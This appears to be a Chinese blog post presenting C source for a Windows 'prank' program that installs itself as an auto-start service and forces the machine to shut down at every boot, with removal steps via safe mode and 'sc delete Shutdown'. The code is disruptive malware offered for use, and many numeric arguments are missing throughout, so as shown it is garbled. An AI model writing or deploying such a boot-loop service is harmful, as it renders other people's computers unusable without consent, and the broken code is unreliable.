Windows服务编程Demo

实现一个开机自动启动的关机程序，具体代码如下：

 #include <Windows.h>

 void ServiceMain();
 void ControlHandler(DWORD request);
 void RunService();
 void Shutdown();
 BOOL IsInstall();
 BOOL Install();

 SERVICE_STATUS_HANDLE hServiceStatus;
 SERVICE_STATUS status;

 int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
 {
     SERVICE_TABLE_ENTRY st[] =
     {
         {TEXT("Shutdown"), (LPSERVICE_MAIN_FUNCTION)ServiceMain},
         {NULL, NULL}
     };

     if (!IsInstall())
     {
         Install();
     }

     StartServiceCtrlDispatcher(st);

     RunService();

     return ;
 }

 void RunService()
 {
     SC_HANDLE schSCManager;
     SC_HANDLE schService;

     schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
     if (!schSCManager)
     {
         MessageBox(NULL, TEXT("OpenSCManager error"), TEXT("error"), MB_OK | MB_ICONERROR);
         return;
     }

     schService = OpenService(schSCManager, TEXT("Shutdown"), SERVICE_ALL_ACCESS);
     if (!schService)
     {
         MessageBox(NULL, TEXT("OpenService error"), TEXT("error"), MB_OK | MB_ICONERROR);
     }

     BOOL b = StartService(schService, , NULL);
 }

 void ControlHandler(DWORD request)
 {
     switch (request)
     {
     case SERVICE_CONTROL_STOP:
     case SERVICE_CONTROL_SHUTDOWN:
         status.dwWin32ExitCode = ;
         status.dwCurrentState = SERVICE_STOPPED;
         break;
     default:
         break;
     }
     SetServiceStatus(hServiceStatus, &status);
 }

 void ServiceMain()
 {
     status.dwServiceType = SERVICE_WIN32;
     status.dwCurrentState = SERVICE_START_PENDING;
     status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
     status.dwWin32ExitCode = ;
     status.dwServiceSpecificExitCode = ;
     status.dwCheckPoint = ;
     status.dwWaitHint = ;

     hServiceStatus = RegisterServiceCtrlHandler(TEXT("Shutdown"), (LPHANDLER_FUNCTION)ControlHandler);
     if ((SERVICE_STATUS_HANDLE) == hServiceStatus)
     {
         return;
     }

     status.dwCurrentState = SERVICE_RUNNING;
     SetServiceStatus(hServiceStatus, &status);
     Shutdown();
 }

 void Shutdown()
 {
     OSVERSIONINFO os;
     os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
     GetVersionEx(&os);
     if (VER_PLATFORM_WIN32_NT == os.dwPlatformId)
     {
         HANDLE handle;
         TOKEN_PRIVILEGES tkp;

         OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &handle);
         LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[].Luid);

         tkp.PrivilegeCount = ;
         tkp.Privileges[].Attributes = SE_PRIVILEGE_ENABLED;

         AdjustTokenPrivileges(handle, FALSE, &tkp, , (PTOKEN_PRIVILEGES)NULL, );

         if (GetLastError() != ERROR_SUCCESS)
         {
             MessageBox(NULL, TEXT("AdjustTokenPrivileges error"), TEXT("error"), MB_OK | MB_ICONERROR);
         }
     }

     ExitWindowsEx(EWX_SHUTDOWN, );
 }

 BOOL IsInstall()
 {
     BOOL bResult = FALSE;

     SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
     if (schSCManager)
     {
         SC_HANDLE schService = OpenService(schSCManager, TEXT("Shutdown"), SERVICE_ALL_ACCESS);
         if (schService)
         {
             bResult = TRUE;
             CloseServiceHandle(schService);
         }
         CloseServiceHandle(schSCManager);
     }
     else
     {
         MessageBox(NULL, TEXT("OpenSCManager error"), TEXT("error"), MB_OK | MB_ICONERROR);
     }

     return bResult;
 }

 BOOL Install()
 {
     SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
     if (!schSCManager)
     {
         MessageBox(NULL, TEXT("OpenSCManager error"), TEXT("error"), MB_OK | MB_ICONERROR);
         return FALSE;
     }

     TCHAR szFilePath[MAX_PATH];
     GetModuleFileName(NULL, szFilePath, MAX_PATH);

     SC_HANDLE schService = CreateService(schSCManager, TEXT("Shutdown"), TEXT("Shutdown"), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, TEXT(""), NULL, NULL);
     if (!schService)
     {
         CloseServiceHandle(schSCManager);
         MessageBox(NULL, TEXT("CreateService error"), TEXT("error"), MB_OK | MB_ICONERROR);
         return FALSE;
     }

     CloseServiceHandle(schService);
     CloseServiceHandle(schSCManager);

     return TRUE;
 }

本程序是开机自动关机的恶搞程序，本人亲自在物理机上测试，在windows server 2008 r2 enterprise版本的系统下测试通过。要解除本恶搞程序对你造成的不便，可以在开机时按F8进入安全模式下删除名字为Shutdown的服务即可。 输入命令： sc delete Shutdown
